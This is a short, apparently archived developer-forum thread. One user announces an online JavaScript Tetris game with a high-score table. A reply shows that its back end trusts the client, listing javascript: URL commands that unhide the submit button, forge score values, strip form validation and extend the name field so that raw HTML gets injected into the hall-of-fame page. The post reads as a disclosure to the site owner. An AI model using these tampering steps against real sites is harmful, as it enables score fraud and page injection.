469,360 Members | 1,774 Online
Bytes | Developer Community
New Post

Home Posts Topics Members FAQ

Post your question to a community of 469,360 developers. It's quick & easy.

JS TETRIS

a JS Tetris online with hall of fame

http://www.idep-multimedia.com/tetris/tetris.php

Enjoy!

fabgrass
Jul 20 '05 #1
1 1845
"Fabien Grasset" <fg******@idep-multimedia.com> wrote in message
news:40***********************@news.free.fr...
a JS Tetris online with hall of fame

http://www.idep-multimedia.com/tetris/tetris.php Enjoy!


If anyone fancies getting into the hall of fame without messing around
playing the game the back-end is wide open. So - on the tetris page:-

Show the submit button:-
javascript:
void(document.getElementById("HS").style.visibilit y="visible");

LINES:
javascript:void(document.getElementById("nbligne") .value=564000);
LEVEL:
javascript:void(document.getElementById("niveau"). value=37000);
SCORE:
javascript:void(document.getElementById("score").v alue=2346100);
type="hidden" ? :
javascript:void(document.getElementById("nbcoup"). value=370000);

(or something more realistic)

and on the hall of fame page:-

kill the onsubmit handler:
javascript:void(document.forms[0].onsubmit = null);

set maxLength to something bigger:-
javascript:void(document.getElementById("nom").max Length=41);

write a name (including HTML but only 30 characters - trimmed on the
server):-
javascript:void(document.getElementById("nom").val ue="*30 chars*");
This is the context you will be inserting the name into:-

<td><strong>
<font color="#ffff00" size="2" face="Arial, Helvetica, sans-serif">
&nbsp; *30 chars* </font></strong></td>

It has been noticed so it probably will be fixed soon.

Enjoy!

Richard.
Jul 20 '05 #2

This discussion thread is closed

Replies have been disabled for this discussion.

Similar topics

new
21 posts views Thread by Willie Clement | last post: by
8 posts views Thread by fabgrass | last post: by
reply views Thread by daveW | last post: by
2 posts views Thread by dondora | last post: by
2 posts views Thread by Devon G. Parks | last post: by
1 post views Thread by CARIGAR | last post: by
reply views Thread by suresh191 | last post: by
1 post views Thread by Marylou17 | last post: by
By using this site, you agree to our Privacy Policy and Terms of Use.